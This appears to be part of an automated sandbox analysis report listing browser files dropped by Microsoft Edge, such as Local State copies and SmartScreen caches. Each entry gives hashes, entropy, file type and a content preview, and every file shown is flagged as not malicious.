Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a24c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c94c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b35e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50ecc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.022664699992126
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX4WS3jU/n:YWLSGTt1o9LuLgfGBPAzkVj/T8lmzU/
MD5:	F708A74E4BE1B79579B78B767582023F
SHA1:	3F6348ABDC1540008C95C3D6B85F5241F581CD75
SHA-256:	2803F859F3FE36D23EF194C849A84BB0281116FE9523C6D880774FDFCCEF45B6
SHA-512:	5EF5D878323A66DF2D991176B871E58F7435F61EA5CDD8E508709AFD0E9B50CB84626CF19D1C1C2A2DE3DDEAEC62F5930B47834FE3E1DBF4F56107461A4FADF8
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732496374497103}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c5399dc4-2e1b-43ec-be44-1d5b9fe9da37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46460
Entropy (8bit):	6.087693362391019
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQc5XKzGK+i1zNtbBwpyAqwJhF8fY65Dk+bCioDJDSgzMMd6qD47u38:NMk1rT8HfKSevY65bFoDtSmd6qE7F
MD5:	B6B10D4D2797D009381C5AE046CB3A03
SHA1:	904BADD7D5651038031D923B2404666D9177D2EA
SHA-256:	FC0DBD7DE04851AB44380DE4B4B844AF76BAB375F965320CE789247CBE554871
SHA-512:	58AFB113EA76D8C7BBA89EF7DB9DD8B083B9ECFBA910292F16BF42AE52D7CE2D6BC78189E9FA3B0C79DD993B52BE1BFD735D548687E3F56B382492248E03D2A9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376869170066221","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c9d770bf-e456-4fae-82f2-504f7875348d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732395574"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fc89c950-f4b3-4a8b-8fcd-9984e8910f4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
